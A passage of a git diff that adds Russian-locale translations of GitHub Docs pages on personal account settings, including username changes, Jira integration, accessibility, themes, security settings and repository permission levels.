variables.location.product_location %} with LDAP credentials or single sign-on (SSO), only your local administrator can change your username. For more information about authentication methods for {% data variables.product.product_name %}, see "[Authenticating users for {% data variables.location.product_location %}](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance)." + +{% endif %} + +{% endnote %} + +{% endif %} + +## About username changes + +You can change your username to another username that is not currently in use.{% ifversion fpt or ghec %} If the username you want is not available, consider other names or unique variations. Using a number, hyphen, or an alternative spelling might help you find a similar username that's still available. + +If you hold a trademark for the username, you can find more information about making a trademark complaint on our [Trademark Policy](/free-pro-team@latest/github/site-policy/github-trademark-policy) page. + +If you do not hold a trademark for the name, you can choose another username or keep your current username. {% data variables.contact.github_support %} cannot release the unavailable username for you. For more information, see "[Changing your username](#changing-your-username)."{% endif %} + +After changing your username, your old username becomes available for anyone else to claim. Most references to your repositories under the old username automatically change to the new username. However, some links to your profile won't automatically redirect. + +{% data variables.product.product_name %} cannot set up redirects for: +- [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) using your old username +- Links to [gists](/articles/creating-gists) that include your old username + +{% ifversion fpt or ghec %} + +If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your username. {% data reusables.enterprise-accounts.emu-more-info-account %} + +{% endif %} + +## Repository references + +After you change your username, {% data variables.product.product_name %} will automatically redirect references to your repositories. +- Web links to your existing repositories will continue to work. This can take a few minutes to complete after you make the change. +- Command line pushes from your local repository clones to the old remote tracking URLs will continue to work. + +If the new owner of your old username creates a repository with the same name as your repository, that will override the redirect entry and your redirect will stop working. Because of this possibility, we recommend you update all existing remote repository URLs after changing your username. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." + +## Links to your previous profile page + +After changing your username, links to your previous profile page, such as `https://{% data variables.command_line.backticks %}/previoususername`, will return a 404 error. We recommend updating any links to your account on {% data variables.location.product_location %} from elsewhere{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profile{% endif %}. + +## Your Git commits + +{% ifversion fpt or ghec %}Git commits that were associated with your {% data variables.product.product_name %}-provided `noreply` email address won't be attributed to your new username and won't appear in your contributions graph.{% endif %} If your Git commits are associated with another email address you've [added to your GitHub account](/articles/adding-an-email-address-to-your-github-account), {% ifversion fpt or ghec %}including the ID-based {% data variables.product.product_name %}-provided `noreply` email address, {% endif %}they'll continue to be attributed to you and appear in your contributions graph after you've changed your username. For more information on setting your email address, see "[Setting your commit email address](/articles/setting-your-commit-email-address)." + +## Your gists + +After changing your username, the URLs to any public or secret gists will also change and previous links to these will return a 404 error. We recommend updating the links to these gists anywhere you may have shared them. + +## Changing your username + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.account_settings %} +3. In the "Change username" section, click **Change username**. + ![Change Username button](/assets/images/help/settings/settings-change-username.png){% ifversion fpt or ghec %} +4. Read the warnings about changing your username. If you still want to change your username, click **I understand, let's change my username**. + ![Change Username warning button](/assets/images/help/settings/settings-change-username-warning-button.png) +5. Type a new username. + ![New username field](/assets/images/help/settings/settings-change-username-enter-new-username.png) +6. If the username you've chosen is available, click **Change my username**. If the username you've chosen is unavailable, you can try a different username or one of the suggestions you see. + ![Change Username warning button](/assets/images/help/settings/settings-change-my-username-button.png) +{% endif %} + +## Further reading + +- "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"{% ifversion fpt or ghec %} +- "[{% data variables.product.prodname_dotcom %} Username Policy](/free-pro-team@latest/github/site-policy/github-username-policy)"{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/index.md new file mode 100644 index 000000000000..edf30e53c9cd --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/index.md @@ -0,0 +1,39 @@ +--- +title: Управление параметрами учетной записи пользователя +intro: 'Вы можете управлять параметрами личной учетной записи, включая тему, имя пользователя, ветвь по умолчанию, специальные возможности и параметры безопасности.' +redirect_from: + - /categories/29/articles + - /categories/user-accounts + - /articles/managing-user-account-settings + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +children: + - /about-your-personal-dashboard + - /managing-your-theme-settings + - /managing-your-tab-size-rendering-preference + - /changing-your-github-username + - /permission-levels-for-a-personal-account-repository + - /permission-levels-for-a-project-board-owned-by-a-personal-account + - /managing-accessibility-settings + - /managing-the-default-branch-name-for-your-repositories + - /managing-security-and-analysis-settings-for-your-personal-account + - /managing-access-to-your-personal-accounts-project-boards + - /managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages + - /integrating-jira-with-your-personal-projects + - /what-does-the-available-for-hire-checkbox-do +shortTitle: Personal account settings +ms.openlocfilehash: fcb653fa2fd40c206deefdaf967bae6104393537 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147760866' +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects.md new file mode 100644 index 000000000000..9f6aa49e71b0 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/integrating-jira-with-your-personal-projects.md @@ -0,0 +1,30 @@ +--- +title: Integrating Jira with your personal projects +intro: 'You can integrate Jira Cloud with your personal account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues.' +redirect_from: + - /articles/integrating-jira-with-your-personal-projects + - /github/setting-up-and-managing-your-github-user-account/integrating-jira-with-your-personal-projects + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/integrating-jira-with-your-personal-projects +versions: + ghes: '*' + ghae: '*' +shortTitle: Integrate Jira with projects +--- +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.developer_settings %} +{% data reusables.user-settings.oauth_apps %} +1. Click **Register a new application**. +2. Under **Application name**, type "Jira". +3. Under **Homepage URL**, type the full URL to your Jira instance. +4. Under **Authorization callback URL**, type the full URL to your Jira instance. +5. Click **Register application**. +![Register application button](/assets/images/help/oauth/register-application-button.png) +8. Under **Developer applications**, note the "Client ID" and "Client Secret" values. +![Client ID and Client Secret](/assets/images/help/oauth/client-id-and-secret.png) +{% data reusables.user-settings.jira_help_docs %} + +## Further reading + +- ["Integrating Jira with your organization project board"](/articles/integrating-jira-with-your-organization-project-board) +- Connect Jira Cloud to GitHub (Atlassian documentation) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards.md new file mode 100644 index 000000000000..9e1b20ebce15 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-access-to-your-personal-accounts-project-boards.md @@ -0,0 +1,39 @@ +--- +title: Управление доступом к панелям проектов личной учетной записи +intro: Владелец доски проекта может добавлять или удалять участников совместной работы и настраивать разрешения таких участников на доступ к доске проекта. +redirect_from: + - /articles/managing-project-boards-in-your-repository-or-organization + - /articles/managing-access-to-your-user-account-s-project-boards + - /articles/managing-access-to-your-user-accounts-project-boards + - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-user-accounts-project-boards + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-access-to-your-user-accounts-project-boards +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Manage access project boards +ms.openlocfilehash: 4cbf968cee79ac8e4aafbc5eea8220949cf80a30 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145165219' +--- +Участник совместной работы — это пользователь с разрешениями на доступ к панели проекта, владельцем которой вы являетесь. По умолчанию участнику совместной работы предоставляются разрешения на чтение. Дополнительные сведения см. в разделе [Уровни разрешений для панелей проектов, принадлежащих пользователю](/articles/permission-levels-for-user-owned-project-boards). + +## Приглашение участников совместной работы в панель проекта, принадлежащую пользователю + +1. Перейдите к панели проекта, в которую требуется добавить участника совместной работы. +{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} +5. В разделе "Поиск по имени пользователя, полному имени или адресу электронной почты" введите имя участника совместной работы, имя пользователя или адрес электронной почты {% data variables.product.prodname_dotcom %}. + ![Раздел "Участники совместной работы"; в поле поиска введено имя пользователя Octocat](/assets/images/help/projects/org-project-collaborators-find-name.png) {% data reusables.project-management.add-collaborator %} +7. Новый участник совместной работы по умолчанию получает разрешения на чтение. При необходимости можно выбрать другой уровень разрешений в раскрывающемся меню рядом с именем нового участника. + ![Раздел "Участники совместной работы"; выбрано раскрывающееся меню "Разрешения"](/assets/images/help/projects/user-project-collaborators-edit-permissions.png) + +## Удаление участника совместной работы из панели проекта, принадлежащей пользователю + +{% data reusables.project-management.click-menu %} {% data reusables.project-management.access-collaboration-settings %} {% data reusables.project-management.collaborator-option %} {% data reusables.project-management.remove-collaborator %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md new file mode 100644 index 000000000000..68a58042b186 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-accessibility-settings.md @@ -0,0 +1,51 @@ +--- +title: Managing accessibility settings +shortTitle: Manage accessibility settings +intro: '{% data variables.product.product_name %}''s user interface can adapt to your vision, hearing, motor, cognitive, or learning needs.' +versions: + feature: keyboard-shortcut-accessibility-setting +redirect_from: + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-accessibility-settings +type: how_to +miniTocMaxHeadingLevel: 3 +--- + +## About accessibility settings + +To create an experience on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} that fits your needs, you can customize the user interface. Accessibility settings can be essential for people with disabilities, but can be useful to anyone. For example, customization of keyboard shortcuts is essential to people who navigate using voice control, but can be useful to anyone when a keyboard shortcut for {% data variables.product.product_name %} clashes with another application shortcut. + +## Managing accessibility settings + +You can decide whether you want to use some or all keyboard shortcuts on {% ifversion fpt or ghec %}{% data variables.location.product_location %}{% elsif ghes or ghae %}the website for {% data variables.location.product_location %}{% endif %}, and you can control the display of animated images. + +### Managing keyboard shortcuts + +You can perform actions across the {% data variables.product.product_name %} website by using your keyboard alone. Keyboard shortcuts can be useful to save time, but can be activated accidentally or interfere with assistive technology. + +By default, all keyboard shortcuts are enabled on {% data variables.product.product_name %}. For more information, see "[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)." + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.accessibility_settings %} +1. Under "Keyboard shortcuts", manage settings for your keyboard shortcuts. + + - To disable shortcut keys that don't use modifiers keys like Control or Command, under "General", deselect **Character keys**. + - If you disable character keys, you may still be able to trigger shortcuts for your web browser, and you can still trigger shortcuts for {% data variables.product.product_name %} that use a modifier key. + {%- ifversion command-palette %} + - To customize the keyboard shortcuts for triggering the command palette, under "Command palette", use the drop-down menus to choose a keyboard shortcut. For more information, see "[{% data variables.product.company_short %} Command Palette](/get-started/using-github/github-command-palette)." + {%- endif %} + +{% ifversion motion-management %} + +### Managing motion + +You can control how {% data variables.product.product_name %} displays animated _.gif_ images. + +By default, {% data variables.product.product_name %} syncs with your system-level preference for reduced motion. For more information, see the documentation or settings for your operating system. + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.accessibility_settings %} +1. Under "Motion", manage settings for motion. + + - To control how {% data variables.product.product_name %} displays animated images, under "Autoplay animated images", select **Sync with system**, **Enabled**, or **Disabled**. + +{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md new file mode 100644 index 000000000000..52815b7a7d97 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account.md @@ -0,0 +1,54 @@ +--- +title: Managing security and analysis settings for your personal account +intro: 'You can control features that secure and analyze the code in your projects on {% data variables.product.prodname_dotcom %}.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' +topics: + - Accounts +redirect_from: + - /github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-security-and-analysis-settings-for-your-user-account +shortTitle: Manage security & analysis +--- +## About management of security and analysis settings + +{% data variables.product.prodname_dotcom %} can help secure your repositories. This topic tells you how you can manage the security and analysis features for all your existing or new repositories. + +You can still manage the security and analysis features for individual repositories. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." + +You can also review the security log for all activity on your personal account. For more information, see "[Reviewing your security log](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log)." + +{% data reusables.security.some-security-and-analysis-features-are-enabled-by-default %} + +{% data reusables.security.security-and-analysis-features-enable-read-only %} + +For an overview of repository-level security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)." + +## Enabling or disabling features for existing repositories + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security-analysis %} +3. Under "Code security and analysis", to the right of the feature, click **Disable all** or **Enable all**. + {% ifversion ghes %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/enterprise/3.3/settings/security-and-analysis-disable-or-enable-all.png){% else %}!["Enable all" or "Disable all" button for "Configure security and analysis" features](/assets/images/help/settings/security-and-analysis-disable-or-enable-all.png){% endif %} +6. Optionally, enable the feature by default for new repositories that you own. + {% ifversion ghes %}!["Enable by default" option for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-by-default-in-modal.png){% else %}!["Enable by default" option for new repositories](/assets/images/help/settings/security-and-analysis-enable-by-default-in-modal.png){% endif %} +7. Click **Disable FEATURE** or **Enable FEATURE** to disable or enable the feature for all the repositories you own. + {% ifversion ghes %}![Button to disable or enable feature](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-dependency-graph.png){% else %}![Button to disable or enable feature](/assets/images/help/settings/security-and-analysis-enable-dependency-graph.png){% endif %} + +{% data reusables.security.displayed-information %} + +## Enabling or disabling features for new repositories + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.security-analysis %} +3. Under "Code security and analysis", to the right of the feature, enable or disable the feature by default for new repositories that you own. + {% ifversion ghes %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/enterprise/3.3/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% else %}![Checkbox for enabling or disabling a feature for new repositories](/assets/images/help/settings/security-and-analysis-enable-or-disable-feature-checkbox.png){% endif %} + +## Further reading + +- "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)" +- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" +- "[Keeping your dependencies updated automatically](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md new file mode 100644 index 000000000000..25c69e1a94a2 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories.md @@ -0,0 +1,36 @@ +--- +title: Managing the default branch name for your repositories +intro: 'You can set the default branch name for new repositories that you create on {% data variables.location.product_location %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +redirect_from: + - /github/setting-up-and-managing-your-github-user-account/managing-the-default-branch-name-for-your-repositories + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories +shortTitle: Manage default branch name +--- +## About management of the default branch name + +When you create a new repository on {% data variables.location.product_location %}, the repository contains one branch, which is the default branch. You can change the name that {% data variables.product.product_name %} uses for the default branch in new repositories you create. For more information about the default branch, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#about-the-default-branch)." + +{% data reusables.branches.change-default-branch %} + +## Setting the default branch name + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.repo-tab %} +3. Under "Repository default branch", click **Change default branch name now**. + ![Override button](/assets/images/help/settings/repo-default-name-button.png) +4. Type the default name that you would like to use for new branches. + ![Text box for entering default name](/assets/images/help/settings/repo-default-name-text.png) +5. Click **Update**. + ![Update button](/assets/images/help/settings/repo-default-name-update.png) + +## Further reading + +- "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md new file mode 100644 index 000000000000..ba93956b4ed5 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-cookie-preferences-for-githubs-enterprise-marketing-pages.md @@ -0,0 +1,38 @@ +--- +title: Управление настройками файлов cookie для корпоративных маркетинговых страниц GitHub +intro: 'Вы можете управлять тем, как {% data variables.product.company_short %} использует сведения от необязательных файлов cookie отслеживания для корпоративных маркетинговых страниц.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Manage cookie preferences +ms.openlocfilehash: 44f0324a91f8447a10947d5f5c7be111241ad091 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108811' +--- +## Сведения о настройках файлов cookie на корпоративных маркетинговых страницах + +{% data variables.product.company_short %} может использовать необязательные файлы cookie на некоторых корпоративных маркетинговых страницах. Вы можете настроить поведение этих файлов cookie. Дополнительные сведения о том, как {% data variables.product.company_short %} использует файлы cookie, см. в разделе [Заявление о конфиденциальности {% data variables.product.company_short %}](/free-pro-team@latest/site-policy/privacy-policies/github-privacy-statement). + +## Изменение настроек файлов cookie + +Вы можете настроить поведение необязательных файлов cookie на любой корпоративной маркетинговой странице {% data variables.product.company_short %}. + +1. Перейдите на корпоративную маркетинговую страницу {% data variables.product.company_short %}, где вы хотите изменить настройки файлов cookie. Например, перейдите в раздел [Ресурсы {% data variables.product.company_short %}](https://resources.github.com/). +1. Прокрутите до нижней части списка и нажмите кнопку **Управлять файлами cookie**. + + ![Снимок экрана: кнопка для управления параметрами файлов cookie.](/assets/images/help/settings/cookie-settings-manage.png) + +1. Чтобы принять или отклонить каждый необязательный файл cookie, нажмите кнопку **Принять** или **Отклонить** в разделе "Управление настройками файлов cookie". + + ![Снимок экрана: переключатели, чтобы выбрать "Принять" или "Отклонить" для необязательных файлов cookie.](/assets/images/help/settings/cookie-settings-accept-or-reject.png) + +1. Нажмите кнопку **Сохранить изменения**. + + ![Снимок экрана: кнопка для сохранения изменений.](/assets/images/help/settings/cookie-settings-save.png) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference.md new file mode 100644 index 000000000000..6616d83fc166 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-tab-size-rendering-preference.md @@ -0,0 +1,26 @@ +--- +title: Настройка отрисовки размера шага табуляции +intro: 'Вы можете управлять количеством пробелов, равным табуляции для личной учетной записи.' +versions: + fpt: '*' + ghae: '>= 3.4' + ghes: '>=3.4' + ghec: '*' +topics: + - Accounts +shortTitle: Managing your tab size +redirect_from: + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-tab-size-rendering-preference +ms.openlocfilehash: e3188b508e5ffb84266bc4b7689a5cbc16aa07de +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145165348' +--- +Если вас не устраивает размер шага табуляции, который используется для отступов в коде в {% data variables.product.product_name %}, его можно изменить в разделе параметров. + +{% data reusables.user-settings.access_settings %} +1. На левой боковой панели щелкните **{% octicon "paintbrush" aria-label="The paintbrush icon" %} Внешний вид**. +2. В разделе "Размер шага табуляции" выберите нужное значение в раскрывающемся меню. + ![Кнопка настройки шага табуляции](/assets/images/help/settings/tab-size-preference.png ) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings.md new file mode 100644 index 000000000000..584121c0e5ca --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-your-theme-settings.md @@ -0,0 +1,63 @@ +--- +title: Managing your theme settings +intro: 'You can manage how {% data variables.product.product_name %} looks to you by setting a theme preference that either follows your system settings or always uses a light or dark mode.' +versions: + fpt: '*' + ghae: '*' + ghes: '*' + ghec: '*' +topics: + - Accounts +redirect_from: + - /github/setting-up-and-managing-your-github-user-account/managing-your-theme-settings + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings +shortTitle: Manage theme settings +--- + +For choice and flexibility in how and when you use {% data variables.product.product_name %}, you can configure theme settings to change how {% data variables.product.product_name %} looks to you. You can choose from themes that are light or dark, or you can configure {% data variables.product.product_name %} to follow your system settings. + +You may want to use a dark theme to reduce power consumption on certain devices, to reduce eye strain in low-light conditions, or because you prefer how the theme looks. + +If you have low vision, you may benefit from a high contrast theme, with greater contrast between foreground and background elements.{% ifversion fpt or ghae or ghec %} If you have colorblindness, you may benefit from our light and dark colorblind themes. + +{% endif %} + +{% data reusables.user-settings.access_settings %} +{% data reusables.user-settings.appearance-settings %} + +1. Under "Theme mode", select the drop-down menu, then click a theme preference. + + ![Drop-down menu under "Theme mode" for selection of theme preference](/assets/images/help/settings/theme-mode-drop-down-menu.png) +1. Click the theme you'd like to use. + - If you chose a single theme, click a theme. + + {%- ifversion ghes = 3.5 %} + {% note %} + + **Note**: The light high contrast theme was unavailable in {% data variables.product.product_name %} 3.5.0, 3.5.1, 3.5.2, and 3.5.3. The theme is available in 3.5.4 and later. For more information about upgrades, contact your site administrator. + + For more information about determining the version of {% data variables.product.product_name %} you're using, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs#github-enterprise-server)." + {% endnote %} + {%- endif %} + + ![Radio buttons for the choice of a single theme](/assets/images/help/settings/theme-choose-a-single-theme-highcontrast.png) + - If you chose to follow your system settings, click a day theme and a night theme. + + ![Buttons for the choice of a theme to sync with the system setting](/assets/images/help/settings/theme-choose-a-day-and-night-theme-to-sync-highcontrast.png) + {% ifversion fpt or ghec %} + - If you would like to choose a theme which is currently in public beta, you will first need to enable it with feature preview. For more information, see "[Exploring early access releases with feature preview](/get-started/using-github/exploring-early-access-releases-with-feature-preview)."{% endif %} + +{% ifversion command-palette %} + +{% note %} + +**Note:** You can also change your theme settings with the command palette. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)". + +{% endnote %} + +{% endif %} + +## Further reading + +- "[Setting a theme for {% data variables.product.prodname_desktop %}](/desktop/installing-and-configuring-github-desktop/setting-a-theme-for-github-desktop)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository.md new file mode 100644 index 000000000000..5141e790f48c --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-personal-account-repository.md @@ -0,0 +1,98 @@ +--- +title: Уровни разрешений для репозитория личной учетной записи +intro: 'Репозиторий, принадлежащий личной учетной записи, имеет два уровня разрешений: владелец репозитория и участники совместной работы.' +redirect_from: + - /articles/permission-levels-for-a-user-account-repository + - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository + - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository + - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-a-user-account-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Accounts +shortTitle: Repository permissions +ms.openlocfilehash: dd2124c23054fa7bd44bb6501dae4363e59bab75 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148113876' +--- +## Сведения об уровнях разрешений для репозитория личной учетной записи + +Репозитории, принадлежащие личным учетным записям, имеют одного владельца. Разрешения на владение невозможно использовать совместно с другой личной учетной записью. + +Можно также {% ifversion fpt or ghec %}приглашать{% else %}добавлять{% endif %} пользователей в {% data variables.product.product_name %} в репозиторий в качестве участников совместной работы. Дополнительные сведения см. в статье [Приглашение участников совместной работы в личный репозиторий](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository). + +{% tip %} + +**Совет.** Если вам требуется более детализированный доступ к репозиторию, принадлежащему вашей личной учетной записи, рассмотрите возможность переноса репозитория в организацию. Дополнительные сведения см. в разделе [Перенос репозитория](/github/administering-a-repository/transferring-a-repository#transferring-a-repository-owned-by-your-personal-account). + +{% endtip %} + +## Доступ владельца к репозиторию, принадлежащему личной учетной записи + +Владелец репозитория полностью его контролирует. Помимо действий, которые может выполнять любой участник совместной работы, владелец репозитория может выполнять следующее. + +| Действие | Дополнительные сведения | +| :- | :- | +| {% ifversion fpt or ghec %}Приглашение участников совместной работы{% else %}Добавление участников совместной работы{% endif %} | [Приглашение участников совместной работы в личный репозиторий](/github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository) | +| Изменение видимости репозитория | [Настройка видимости репозитория](/github/administering-a-repository/setting-repository-visibility) |{% ifversion fpt or ghec %} +| Ограничение взаимодействия с репозиторием | [Ограничение взаимодействий в вашем репозитории](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository) |{% endif %} +| Переименование ветви, включая ветвь по умолчанию | [Переименование ветви](/github/administering-a-repository/renaming-a-branch) | +| Слияние запросов на вытягивание в защищенной ветви даже при отсутствии проверок для утверждения | [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches) | +| Удаление репозитория | [Удаление репозитория](/repositories/creating-and-managing-repositories/deleting-a-repository) | +| Управление темами репозитория | [Классификация репозитория с помощью тем](/github/administering-a-repository/classifying-your-repository-with-topics) |{% ifversion fpt or ghec %} +| Управление параметрами безопасности и анализа для репозитория | [Управление параметрами безопасности и анализа для репозитория](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository) |{% endif %}{% ifversion fpt or ghec %} +| Включение графа зависимостей для частного репозитория | [Изучение зависимостей репозитория](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository) |{% endif %} +| удалять и восстанавливать пакет; | "[Удаление и восстановление пакета](/packages/learn-github-packages/deleting-and-restoring-a-package)" | +| Настройка предварительной версии социальных сетей 